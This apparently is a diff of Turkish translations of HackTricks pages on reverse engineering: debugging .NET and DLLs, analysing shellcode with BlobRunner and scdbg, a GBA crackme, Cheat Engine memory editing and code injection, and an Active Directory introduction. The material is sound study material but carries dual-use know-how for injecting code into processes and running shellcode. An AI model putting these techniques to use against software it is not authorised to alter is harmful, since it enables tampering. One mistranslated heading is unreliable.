Bu gereklidir çünkü bunu yapmazsanız, **runtime** sırasında koda birkaç **optimizasyon** uygulanacak ve hata ayıklama sırasında bir **break-point asla tetiklenmeyebilir** veya bazı **değişkenler mevcut olmayabilir**.
|
||||
|
||||
Ardından, eğer .NET uygulamanız **IIS** tarafından **çalıştırılıyorsa**, bunu **restart** edebilirsiniz:
|
||||
Ardından, .NET uygulamanız **IIS** tarafından **çalıştırılıyorsa**, bunu **restart** edebilirsiniz:
|
||||
```
|
||||
iisreset /noforce
|
||||
```
|
||||
@ -88,7 +88,7 @@ Sonra, hata ayıklamaya başlamak için tüm açık dosyaları kapatmalısınız
|
||||
|
||||
.png>)
|
||||
|
||||
Ardından **w3wp.exe**'yi seçerek **IIS sunucusuna** bağlanın ve **attach** butonuna tıklayın:
|
||||
Ardından **IIS server**'a bağlanmak için **w3wp.exe**'yi seçin ve **attach** butonuna tıklayın:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -98,11 +98,11 @@ Artık süreci hata ayıklıyorken, durdurma ve tüm modülleri yükleme zamanı
|
||||
|
||||
.png>)
|
||||
|
||||
**Modules** bölümündeki herhangi bir modüle tıklayın ve **Open All Modules** seçeneğini seçin:
|
||||
**Modules** üzerindeki herhangi bir modüle tıklayın ve **Open All Modules** seçeneğini seçin:
|
||||
|
||||
.png>)
|
||||
|
||||
**Assembly Explorer** bölümündeki herhangi bir modüle sağ tıklayın ve **Sort Assemblies** seçeneğine tıklayın:
|
||||
**Assembly Explorer** üzerindeki herhangi bir modüle sağ tıklayın ve **Sort Assemblies** seçeneğine tıklayın:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -121,7 +121,7 @@ Artık süreci hata ayıklıyorken, durdurma ve tüm modülleri yükleme zamanı
|
||||
|
||||
.png>)
|
||||
|
||||
- **DLL'nin yolu** ve çağırmak istediğiniz fonksiyonu belirterek yürütme **parametrelerini** yapılandırın:
|
||||
- **DLL'nin yolunu** ve çağırmak istediğiniz fonksiyonu belirterek yürütme **parametrelerini** yapılandırın:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -133,10 +133,10 @@ Ama, yüklenen DLL'nin koduna nasıl ulaşabilirsiniz? Bu yöntemi kullanarak, n
|
||||
|
||||
- **rundll32'yi yükleyin** (64bit için C:\Windows\System32\rundll32.exe ve 32 bit için C:\Windows\SysWOW64\rundll32.exe)
|
||||
- **Komut Satırını Değiştirin** (_File --> Change Command Line_) ve DLL'nin yolunu ve çağırmak istediğiniz fonksiyonu ayarlayın, örneğin: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
|
||||
- _Options --> Settings_ bölümünü değiştirin ve "**DLL Girişi**" seçeneğini seçin.
|
||||
- Ardından **yürütmeyi başlatın**, hata ayıklayıcı her DLL ana fonksiyonunda duracaktır, bir noktada **DLL'nizin Girişinde duracaksınız**. Oradan, bir kesme noktası koymak istediğiniz yerleri arayın.
|
||||
- _Options --> Settings_ kısmını değiştirin ve "**DLL Girişi**" seçeneğini seçin.
|
||||
- Ardından **yürütmeyi başlatın**, hata ayıklayıcı her DLL ana fonksiyonunda duracaktır, bir noktada **DLL'nizin girişinde duracaksınız**. Oradan, bir kesme noktası koymak istediğiniz yerleri arayın.
|
||||
|
||||
Yürütme herhangi bir nedenle win64dbg'de durdurulduğunda, **hangi kodda olduğunuzu** görebilirsiniz, **win64dbg penceresinin üst kısmında**:
|
||||
Yürütme herhangi bir nedenle win64dbg'de durdurulduğunda, **nerede olduğunuzu** **win64dbg penceresinin üst kısmında** görebilirsiniz:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -160,15 +160,15 @@ cheat-engine.md
|
||||
https://github.com/nongiach/arm_now
|
||||
{{#endref}}
|
||||
|
||||
## Shellcode'lar
|
||||
## Shellcodes
|
||||
|
||||
### Blobrunner ile bir shellcode'u hata ayıklama
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) **shellcode'u** bir bellek alanında **ayıracak**, shellcode'un ayrıldığı **bellek adresini** size **gösterecek** ve yürütmeyi **durduracaktır**.\
|
||||
Ardından, bir **hata ayıklayıcıyı** (Ida veya x64dbg) sürece eklemeniz ve belirtilen bellek adresinde bir **kesme noktası** koymanız ve yürütmeyi **devam ettirmeniz** gerekir. Bu şekilde shellcode'u hata ayıklayacaksınız.
|
||||
Ardından, bir **hata ayıklayıcıyı** (Ida veya x64dbg) sürece eklemeli ve belirtilen bellek adresinde bir **kesme noktası** koymalı ve yürütmeyi **devam ettirmelisiniz**. Bu şekilde shellcode'u hata ayıklamış olacaksınız.
|
||||
|
||||
Yayınlar github sayfası, derlenmiş sürümleri içeren zip dosyaları içerir: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Aşağıdaki bağlantıda Blobrunner'ın biraz değiştirilmiş bir versiyonunu bulabilirsiniz. Derlemek için sadece **Visual Studio Code'da bir C/C++ projesi oluşturun, kodu kopyalayıp yapıştırın ve derleyin**.
|
||||
Blobrunner'ın biraz değiştirilmiş bir versiyonunu aşağıdaki bağlantıda bulabilirsiniz. Derlemek için sadece **Visual Studio Code'da bir C/C++ projesi oluşturun, kodu kopyalayıp yapıştırın ve derleyin**.
|
||||
|
||||
{{#ref}}
|
||||
blobrunner.md
|
||||
@ -176,11 +176,11 @@ blobrunner.md
|
||||
|
||||
### jmp2it ile bir shellcode'u hata ayıklama
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner'a çok benzer. **shellcode'u** bir bellek alanında **ayıracak** ve bir **sonsuz döngü** başlatacaktır. Ardından, sürece **hata ayıklayıcıyı eklemeniz**, **başlatmaya tıklayıp 2-5 saniye beklemeniz ve durdurmaya basmanız** gerekir ve kendinizi **sonsuz döngüde** bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütmeye başlayacaksınız.
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) blobrunner'a çok benzer. **shellcode'u** bir bellek alanında **ayıracak** ve bir **sonsuz döngü** başlatacaktır. Ardından, **hata ayıklayıcıyı** sürece eklemeli, **başlatmayı bekleyin 2-5 saniye ve durdurun** ve kendinizi **sonsuz döngüde** bulacaksınız. Sonsuz döngünün bir sonraki talimatına atlayın çünkü bu shellcode'a bir çağrı olacaktır ve sonunda shellcode'u yürütmeye başlayacaksınız.
|
||||
|
||||
.png>)
|
||||
|
||||
Derlenmiş bir versiyonunu [jmp2it'in yayınlar sayfasından](https://github.com/adamkramer/jmp2it/releases/) indirebilirsiniz.
|
||||
Derlenmiş bir versiyonu [jmp2it'in yayınlar sayfasından](https://github.com/adamkramer/jmp2it/releases/) indirebilirsiniz.
|
||||
|
||||
### Cutter kullanarak shellcode'u hata ayıklama
|
||||
|
||||
@ -190,7 +190,7 @@ Cutter'ın "Dosya Aç" ve "Shellcode Aç" seçeneklerini sunduğunu unutmayın.
|
||||
|
||||
.png>)
|
||||
|
||||
Emülasyonu istediğiniz yerden başlatmak için orada bir kesme noktası ayarlayın ve görünüşe göre cutter oradan emülasyonu otomatik olarak başlatacaktır:
|
||||
Emülasyonu başlatmak istediğiniz yerden başlatmak için oraya bir kesme noktası koyun ve görünüşe göre cutter oradan emülasyonu otomatik olarak başlatacaktır:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -203,7 +203,7 @@ Emülasyonu istediğiniz yerden başlatmak için orada bir kesme noktası ayarla
|
||||
### Shellcode'u deobfuscate etme ve yürütülen fonksiyonları alma
|
||||
|
||||
[**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152) denemelisiniz.\
|
||||
Shellcode'un hangi **fonksiyonları** kullandığını ve shellcode'un bellekte kendini **şifreleyip şifrelemediğini** size söyleyecektir.
|
||||
Shellcode'un hangi **fonksiyonları** kullandığını ve shellcode'un bellekte kendisini **şifreleyip şifrelemediğini** size söyleyecektir.
|
||||
```bash
|
||||
scdbg.exe -f shellcode # Get info
|
||||
scdbg.exe -f shellcode -r #show analysis report at end of run
|
||||
@ -216,7 +216,7 @@ scDbg ayrıca istediğiniz seçenekleri seçip shellcode'u çalıştırabileceğ
|
||||
|
||||
.png>)
|
||||
|
||||
**Create Dump** seçeneği, shellcode'da dinamik olarak herhangi bir değişiklik yapıldığında son shellcode'u dökecektir (kodlanmış shellcode'u indirmek için yararlıdır). **start offset** shellcode'u belirli bir ofsetten başlatmak için yararlı olabilir. **Debug Shell** seçeneği, shellcode'u scDbg terminali kullanarak hata ayıklamak için yararlıdır (ancak bu konuda daha önce açıklanan seçeneklerin herhangi birinin daha iyi olduğunu düşünüyorum çünkü Ida veya x64dbg kullanabileceksiniz).
|
||||
**Create Dump** seçeneği, shellcode'da dinamik olarak herhangi bir değişiklik yapıldığında son shellcode'u dökecektir (kodlanmış shellcode'u indirmek için faydalıdır). **start offset** belirli bir offset'te shellcode'u başlatmak için faydalı olabilir. **Debug Shell** seçeneği, shellcode'u scDbg terminali kullanarak hata ayıklamak için faydalıdır (ancak bu konuda daha önce açıklanan seçeneklerin herhangi birinin daha iyi olduğunu düşünüyorum çünkü Ida veya x64dbg kullanabileceksiniz).
|
||||
|
||||
### CyberChef kullanarak ayrıştırma
|
||||
|
||||
@ -224,17 +224,17 @@ Shellcode dosyanızı girdi olarak yükleyin ve onu decompile etmek için aşağ
|
||||
|
||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||
|
||||
Bu obfuscator **tüm `mov` talimatlarını değiştirir** (evet, gerçekten havalı). Ayrıca yürütme akışlarını değiştirmek için kesintiler kullanır. Nasıl çalıştığı hakkında daha fazla bilgi için:
|
||||
Bu obfuscator **`mov` için tüm talimatları değiştirir** (evet, gerçekten havalı). Ayrıca yürütme akışlarını değiştirmek için kesintiler kullanır. Nasıl çalıştığı hakkında daha fazla bilgi için:
|
||||
|
||||
- [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY)
|
||||
- [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf)
|
||||
|
||||
Şanslıysanız [demovfuscator](https://github.com/kirschju/demovfuscator) ikiliyi deofuscate edecektir. Birkaç bağımlılığı vardır.
|
||||
Şanslıysanız [demovfuscator](https://github.com/kirschju/demovfuscator) ikiliyi deobfuscate edecektir. Birkaç bağımlılığı vardır.
|
||||
```
|
||||
apt-get install libcapstone-dev
|
||||
apt-get install libz3-dev
|
||||
```
|
||||
Ve [keystone'ı kurun](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
||||
Ve [keystone'u kurun](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
||||
|
||||
Eğer bir **CTF oynuyorsanız, bayrağı bulmak için bu geçici çözüm** çok faydalı olabilir: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
|
||||
@ -245,7 +245,7 @@ Eğer bir **CTF oynuyorsanız, bayrağı bulmak için bu geçici çözüm** çok
|
||||
.png>)
|
||||
|
||||
Bu durumda ikili dosya authenticator olarak adlandırıldığından, bu ilginç ana fonksiyon olduğu oldukça açıktır.\
|
||||
Çağrılan **fonksiyonların** **isimlerini** öğrendikten sonra, **girdi** ve **çıktıları** hakkında bilgi edinmek için bunları **İnternet**'te arayın.
|
||||
Çağrılan **fonksiyonların** **isimlerini** bildiğinizde, **girdileri** ve **çıktıları** öğrenmek için bunları **İnternet**'te arayın.
|
||||
|
||||
## **Delphi**
|
||||
|
||||
@ -257,7 +257,7 @@ Sadece **ATL+f7** tuşlarına basın (IDA'da python eklentisini içe aktarın) v
|
||||
|
||||
Bu eklenti, ikili dosyayı çalıştıracak ve hata ayıklamanın başlangıcında fonksiyon isimlerini dinamik olarak çözecektir. Hata ayıklamayı başlattıktan sonra tekrar Başlat butonuna (yeşil olan veya f9) basın ve gerçek kodun başında bir kesme noktası oluşacaktır.
|
||||
|
||||
Ayrıca, grafik uygulamasında bir butona bastığınızda, hata ayıklayıcı o buton tarafından yürütülen fonksiyonda duracaktır.
|
||||
Ayrıca, grafik uygulamada bir butona bastığınızda, hata ayıklayıcı o buton tarafından yürütülen fonksiyonda duracaktır.
|
||||
|
||||
## Golang
|
||||
|
||||
@ -269,22 +269,22 @@ Bu, fonksiyonların isimlerini çözecektir.
|
||||
|
||||
## Derlenmiş Python
|
||||
|
||||
Bu sayfada, bir ELF/EXE python derlenmiş ikili dosyasından python kodunu nasıl alacağınızı bulabilirsiniz:
|
||||
Bu sayfada bir ELF/EXE python derlenmiş ikili dosyasından python kodunu nasıl alacağınızı bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
||||
{{#endref}}
|
||||
|
||||
## GBA - Game Body Advance
|
||||
## GBA - Oyun Vücut İleri
|
||||
|
||||
Eğer bir GBA oyununun **ikili dosyasını** alırsanız, onu **emüle** etmek ve **hata ayıklamak** için farklı araçlar kullanabilirsiniz:
|
||||
Eğer bir GBA oyununun **ikilisini** alırsanız, onu **emüle** etmek ve **hata ayıklamak** için farklı araçlar kullanabilirsiniz:
|
||||
|
||||
- [**no$gba**](https://problemkaputt.de/gba.htm) (_Hata ayıklama sürümünü indirin_) - Arayüz ile birlikte bir hata ayıklayıcı içerir
|
||||
- [**mgba** ](https://mgba.io)- CLI hata ayıklayıcı içerir
|
||||
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra eklentisi
|
||||
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra eklentisi
|
||||
|
||||
[**no$gba**](https://problemkaputt.de/gba.htm) içinde, _**Options --> Emulation Setup --> Controls**_\*\* \*\* kısmında Game Boy Advance **butonlarına** nasıl basılacağını görebilirsiniz.
|
||||
[**no$gba**](https://problemkaputt.de/gba.htm) içinde, _**Seçenekler --> Emülasyon Ayarı --> Kontroller**_** ** kısmında Game Boy Advance **butonlarına** nasıl basılacağını görebilirsiniz.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -368,15 +368,15 @@ FUN_08000864();
|
||||
if (uVar1 == 0x10) {
|
||||
DAT_030000d8 = DAT_030000d8 + 0x3a;
|
||||
```
|
||||
Önceki kodda **uVar1**'in (**basılı butonun değeri**) bazı değerlerle karşılaştırıldığını görebilirsiniz:
|
||||
Önceki kodda **uVar1**'in (**basılı düğmenin değeri**) bazı değerlerle karşılaştırıldığını görebilirsiniz:
|
||||
|
||||
- İlk olarak, **değer 4** ile karşılaştırılıyor (**SELECT** butonu): Bu buton, meydan okumada ekranı temizliyor.
|
||||
- Sonra, **değer 8** ile karşılaştırılıyor (**START** butonu): Bu buton, meydan okumada kodun bayrağı almak için geçerli olup olmadığını kontrol ediyor.
|
||||
- Bu durumda **`DAT_030000d8`** değişkeni 0xf3 ile karşılaştırılıyor ve değer aynıysa bazı kodlar çalıştırılıyor.
|
||||
- İlk olarak, **değer 4** ile karşılaştırılıyor (**SELECT** düğmesi): Bu zorlukta bu düğme ekranı temizliyor.
|
||||
- Sonra, **değer 8** ile karşılaştırılıyor (**START** düğmesi): Bu zorlukta bu, kodun bayrağı almak için geçerli olup olmadığını kontrol ediyor.
|
||||
- Bu durumda **`DAT_030000d8`** 0xf3 ile karşılaştırılıyor ve değer aynıysa bazı kodlar çalıştırılıyor.
|
||||
- Diğer durumlarda, bazı cont (`DAT_030000d4`) kontrol ediliyor. Bu bir cont çünkü koda girdikten hemen sonra 1 ekliyor.\
|
||||
**Eğer** 8'den küçükse, **`DAT_030000d8`**'e değerler **eklemek** ile ilgili bir işlem yapılıyor (temelde, cont 8'den küçük olduğu sürece, bu değişkende basılan tuşların değerlerini topluyor).
|
||||
**E**ğer 8'den küçükse, **`DAT_030000d8`**'e değer eklemeyi içeren bir işlem yapılıyor (temelde, cont 8'den küçük olduğu sürece bu değişkende basılan tuşların değerlerini topluyor).
|
||||
|
||||
Bu nedenle, bu meydan okumada, butonların değerlerini bilerek, **sonuçta toplamı 0xf3 olan 8'den daha kısa bir kombinasyonu basmanız gerekiyordu.**
|
||||
Bu zorlukta, düğmelerin değerlerini bilerek, **sonuçta toplamı 0xf3 olan 8'den daha kısa bir kombinasyonu basmanız gerekiyordu.**
|
||||
|
||||
**Bu eğitim için referans:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
.png>)
|
||||
|
||||
Bu araç, bir programın belleğinde **bir değerin** (genellikle bir sayı) **nerede saklandığını** bulmak için çok yararlıdır.\
|
||||
**Genellikle sayılar** **4byte** formatında saklanır, ancak bunları **double** veya **float** formatlarında da bulabilirsiniz veya **bir sayıdan farklı bir şey** aramak isteyebilirsiniz. Bu nedenle, neyi **arama** yapmak istediğinizi **seçtiğinizden** emin olmalısınız:
|
||||
**Genellikle sayılar** **4bayt** formatında saklanır, ancak bunları **double** veya **float** formatlarında da bulabilirsiniz veya **bir sayıdan farklı** bir şey aramak isteyebilirsiniz. Bu nedenle, neyi **arama** yapmak istediğinizi **seçtiğinizden** emin olmalısınız:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -28,23 +28,23 @@ _**Düzenle --> Ayarlar --> Kısayollar**_ bölümünde, **oyunu durdurma** gibi
|
||||
|
||||
.png>)
|
||||
|
||||
## Değeri Değiştirme
|
||||
## Değeri değiştirme
|
||||
|
||||
Aradığınız **değerin** nerede olduğunu **bulduğunuzda** (bununla ilgili daha fazla bilgi sonraki adımlarda) üzerine çift tıklayarak **değiştirebilirsiniz**, ardından değerine çift tıklayın:
|
||||
Aradığınız **değeri** nerede **bulduysanız** (bununla ilgili daha fazla bilgi sonraki adımlarda) çift tıklayarak **değiştirebilirsiniz**, ardından değerine çift tıklayın:
|
||||
|
||||
.png>)
|
||||
|
||||
Ve son olarak, bellekteki değişikliği gerçekleştirmek için **onay kutusunu işaretleyin**:
|
||||
Ve son olarak, bellekteki değişikliği yapmak için **onay kutusunu işaretleyin**:
|
||||
|
||||
.png>)
|
||||
|
||||
**Bellekteki değişiklik** hemen **uygulanacaktır** (oyun bu değeri tekrar kullanmadığı sürece değer **oyunda güncellenmeyecektir**).
|
||||
Bellekteki **değişiklik** hemen **uygulanacaktır** (oyun bu değeri tekrar kullanmadığı sürece değer **oyunda güncellenmeyecektir**).
|
||||
|
||||
## Değeri Arama
|
||||
## Değeri arama
|
||||
|
||||
Öyleyse, geliştirmek istediğiniz önemli bir değer (kullanıcınızın hayatı gibi) olduğunu varsayıyoruz ve bu değeri bellekte arıyorsunuz.
|
||||
Öyleyse, kullanıcı yaşamı gibi önemli bir değeri geliştirmek istediğinizi varsayalım ve bu değeri bellekte arıyorsunuz.
|
||||
|
||||
### Bilinen bir değişim yoluyla
|
||||
### Bilinen değişim yoluyla
|
||||
|
||||
100 değerini aradığınızı varsayalım, bu değeri aramak için bir **tarama** yapıyorsunuz ve birçok eşleşme buluyorsunuz:
|
||||
|
||||
@ -59,7 +59,7 @@ _Eğer hala birkaç değer varsa, o değeri tekrar değiştirmek için bir şey
|
||||
|
||||
### Bilinmeyen Değer, bilinen değişim
|
||||
|
||||
Değeri **bilmiyorsanız** ama **değiştirmek için ne yapacağınızı** biliyorsanız (ve hatta değişimin değerini de biliyorsanız) numaranızı arayabilirsiniz.
|
||||
Eğer **değeri bilmiyorsanız** ama **değiştirmek için ne yapmanız gerektiğini** biliyorsanız (ve hatta değişim değerini de biliyorsanız) numaranızı arayabilirsiniz.
|
||||
|
||||
Öyleyse, "**Bilinmeyen başlangıç değeri**" türünde bir tarama yaparak başlayın:
|
||||
|
||||
@ -69,7 +69,7 @@ Sonra, değeri değiştirin, **değerin** **nasıl değiştiğini** belirtin (be
|
||||
|
||||
.png>)
|
||||
|
||||
Seçilen şekilde **değiştirilen tüm değerler** ile karşılaşacaksınız:
|
||||
Seçilen şekilde **değiştirilen tüm değerler** size sunulacaktır:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -90,17 +90,17 @@ Bahsedilen bazı ipuçlarını kullanarak, mevcut oyununuzun önemli değeri sak
|
||||
**İlk seçenek**, bu **adresin** **kullanıldığı** **kodun** **hangi kısımlarını** bilmek için yararlıdır (bu, oyunun kodunu **nerede değiştirebileceğinizi** bilmek gibi daha fazla şey için yararlıdır).\
|
||||
**İkinci seçenek** daha **özeldir** ve bu durumda **değerin nereden yazıldığını** bilmekle ilgilendiğimiz için daha faydalı olacaktır.
|
||||
|
||||
Bu seçeneklerden birini seçtiğinizde, **hata ayıklayıcı** programa **bağlanacak** ve yeni bir **boş pencere** açılacaktır. Şimdi, **oyunu oynayın** ve **değeri değiştirin** (oyunu yeniden başlatmadan). **Pencere**, **değeri değiştiren** **adreslerle** **doldurulmalıdır**:
|
||||
Bu seçeneklerden birini seçtikten sonra, **hata ayıklayıcı** programa **bağlanacak** ve yeni bir **boş pencere** açılacaktır. Şimdi, **oyunu oynayın** ve **değeri değiştirin** (oyunu yeniden başlatmadan). **Pencere**, **değeri değiştiren** **adreslerle** **doldurulmalıdır**:
|
||||
|
||||
.png>)
|
||||
|
||||
Artık değeri değiştiren adresi bulduğunuza göre, **kodu istediğiniz gibi değiştirebilirsiniz** (Cheat Engine, bunu NOP'lar için hızlı bir şekilde değiştirmenize izin verir):
|
||||
Artık değeri değiştiren adresi bulduğunuza göre, kodu **istediğiniz gibi değiştirebilirsiniz** (Cheat Engine, bunu NOP'lar için hızlıca değiştirmenize izin verir):
|
||||
|
||||
.png>)
|
||||
|
||||
Artık kodu, sayınızı etkilemeyecek şekilde veya her zaman olumlu bir şekilde etkileyecek şekilde değiştirebilirsiniz.
|
||||
Böylece, kodu değiştirerek sayınıza etki etmeyecek veya her zaman olumlu bir şekilde etki edecek şekilde değiştirebilirsiniz.
|
||||
|
||||
### Rastgele Bellek Adresi - Pointer Bulma
|
||||
### Rastgele Bellek Adresi - Göstergeleri Bulma
|
||||
|
||||
Önceki adımları takip ederek, ilgilendiğiniz değerin nerede olduğunu bulun. Sonra, "**Bu adrese neyin yazdığını bul**" seçeneğini kullanarak bu değeri yazan adresi bulun ve üzerine çift tıklayarak ayrıştırma görünümünü alın:
|
||||
|
||||
@ -111,29 +111,29 @@ Sonra, **"\[]"** arasındaki hex değerini aramak için yeni bir tarama yapın (
|
||||
.png>)
|
||||
|
||||
(_Birden fazla görünüyorsa genellikle en küçük adres olanı almanız gerekir_)\
|
||||
Artık **ilgilendiğimiz değeri değiştirecek pointer'ı bulduk**.
|
||||
Artık **ilgilendiğimiz değeri değiştirecek göstericiyi bulduk**.
|
||||
|
||||
"**Adresi Manuel Olarak Ekle**" seçeneğine tıklayın:
|
||||
"**Adres Ekle**" seçeneğine tıklayın:
|
||||
|
||||
.png>)
|
||||
|
||||
Şimdi, "Pointer" onay kutusuna tıklayın ve metin kutusuna bulunan adresi ekleyin (bu senaryoda, önceki resimde bulunan adres "Tutorial-i386.exe"+2426B0 idi):
|
||||
Şimdi, "Gösterici" onay kutusuna tıklayın ve metin kutusuna bulunan adresi ekleyin (bu senaryoda, önceki resimde bulunan adres "Tutorial-i386.exe"+2426B0 idi):
|
||||
|
||||
.png>)
|
||||
|
||||
(İlk "Adres"in, girdiğiniz pointer adresinden otomatik olarak doldurulduğuna dikkat edin)
|
||||
(İlk "Adresin", girdiğiniz gösterici adresinden otomatik olarak doldurulduğuna dikkat edin)
|
||||
|
||||
Tamam'a tıklayın ve yeni bir pointer oluşturulacaktır:
|
||||
Tamam'a tıklayın ve yeni bir gösterici oluşturulacaktır:
|
||||
|
||||
.png>)
|
||||
|
||||
Artık bu değeri her değiştirdiğinizde, **değerin bulunduğu bellek adresi farklı olsa bile önemli değeri değiştiriyorsunuz.**
|
||||
Artık o değeri her değiştirdiğinizde, **değerin bulunduğu bellek adresi farklı olsa bile önemli değeri değiştiriyorsunuz.**
|
||||
|
||||
### Kod Enjeksiyonu
|
||||
|
||||
Kod enjeksiyonu, hedef işleme bir kod parçası enjekte etme ve ardından kodun yürütülmesini kendi yazdığınız koddan geçirecek şekilde yönlendirme tekniğidir (örneğin, puan vermek yerine puan almak).
|
||||
Kod enjeksiyonu, hedef işleme bir kod parçası enjekte etme ve ardından kodun yürütülmesini kendi yazdığınız koddan geçirecek şekilde yönlendirme tekniğidir (örneğin, puan vermek yerine puan düşürmek).
|
||||
|
||||
Öyleyse, oyuncunuzun hayatından 1 çıkaran adresi bulduğunuzu hayal edin:
|
||||
Öyleyse, oyuncunuzun yaşamından 1 çıkaran adresi bulduğunuzu hayal edin:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -150,7 +150,7 @@ Bir şablon oluşturulacaktır:
|
||||
|
||||
.png>)
|
||||
|
||||
Bu nedenle, yeni assembly kodunuzu "**newmem**" bölümüne ekleyin ve **çalıştırılmasını istemiyorsanız** "**originalcode**" bölümündeki orijinal kodu kaldırın\*\*.\*\* Bu örnekte, enjekte edilen kod 1 çıkarmak yerine 2 puan ekleyecektir:
|
||||
Böylece, "**newmem**" bölümüne yeni assembly kodunuzu ekleyin ve "**originalcode**" bölümünden orijinal kodu kaldırın eğer çalıştırılmasını istemiyorsanız. Bu örnekte, enjekte edilen kod 1 çıkarmak yerine 2 puan ekleyecektir:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -1,24 +1,24 @@
|
||||
# Active Directory Methodolojisi
|
||||
# Active Directory Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel genel bakış
|
||||
|
||||
**Active Directory**, **ağ yöneticileri**'nin bir ağ içinde **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlayan temel bir teknoloji olarak hizmet eder. Ölçeklenebilir şekilde tasarlanmıştır, böylece çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara** organize ederken, çeşitli seviyelerde **erişim haklarını** kontrol eder.
|
||||
**Active Directory**, **ağ yöneticileri**'nin bir ağ içinde **alanlar**, **kullanıcılar** ve **nesneler** oluşturup yönetmelerini sağlayan temel bir teknoloji olarak hizmet eder. Ölçeklenebilir şekilde tasarlanmış olup, çok sayıda kullanıcıyı yönetilebilir **gruplara** ve **alt gruplara** organize ederken, çeşitli seviyelerde **erişim haklarını** kontrol eder.
|
||||
|
||||
**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, ortak bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birbirleriyle **güven ilişkileri** aracılığıyla bağlantılı birden fazla ağacın koleksiyonunu temsil eder, organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir.
|
||||
**Active Directory** yapısı üç ana katmandan oluşur: **alanlar**, **ağaçlar** ve **ormanlar**. Bir **alan**, ortak bir veritabanını paylaşan **kullanıcılar** veya **cihazlar** gibi nesnelerin bir koleksiyonunu kapsar. **Ağaçlar**, paylaşılan bir yapı ile bağlantılı bu alanların gruplarıdır ve bir **orman**, birbirleriyle **güven ilişkileri** aracılığıyla bağlantılı birden fazla ağacın koleksiyonunu temsil eder; bu, organizasyon yapısının en üst katmanını oluşturur. Bu seviyelerin her birinde belirli **erişim** ve **iletişim hakları** atanabilir.
|
||||
|
||||
**Active Directory** içindeki anahtar kavramlar şunlardır:
|
||||
|
||||
1. **Dizin** – Active Directory nesneleri ile ilgili tüm bilgileri barındırır.
|
||||
2. **Nesne** – Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** gibi, belirtir.
|
||||
3. **Alan** – Dizin nesneleri için bir konteyner görevi görür, bir **orman** içinde birden fazla alanın bir arada bulunabilmesi mümkündür ve her biri kendi nesne koleksiyonunu korur.
|
||||
2. **Nesne** – Dizin içindeki varlıkları, **kullanıcılar**, **gruplar** veya **paylaşılan klasörler** gibi, ifade eder.
|
||||
3. **Alan** – Dizin nesneleri için bir konteyner görevi görür; bir **orman** içinde birden fazla alanın bir arada bulunabilmesi mümkündür ve her biri kendi nesne koleksiyonunu korur.
|
||||
4. **Ağaç** – Ortak bir kök alanı paylaşan alanların bir gruplamasıdır.
|
||||
5. **Orman** – Active Directory'deki organizasyon yapısının zirvesi, aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur.
|
||||
5. **Orman** – Active Directory'deki organizasyon yapısının zirvesi olup, aralarında **güven ilişkileri** bulunan birkaç ağaçtan oluşur.
|
||||
|
||||
**Active Directory Alan Hizmetleri (AD DS)**, bir ağ içinde merkezi yönetim ve iletişim için kritik bir dizi hizmeti kapsar. Bu hizmetler şunları içerir:
|
||||
**Active Directory Domain Services (AD DS)**, bir ağ içinde merkezi yönetim ve iletişim için kritik olan bir dizi hizmeti kapsar. Bu hizmetler şunları içerir:
|
||||
|
||||
1. **Alan Hizmetleri** – Veri depolamasını merkezileştirir ve **kullanıcılar** ile **alanlar** arasındaki etkileşimleri yönetir, **kimlik doğrulama** ve **arama** işlevselliklerini içerir.
|
||||
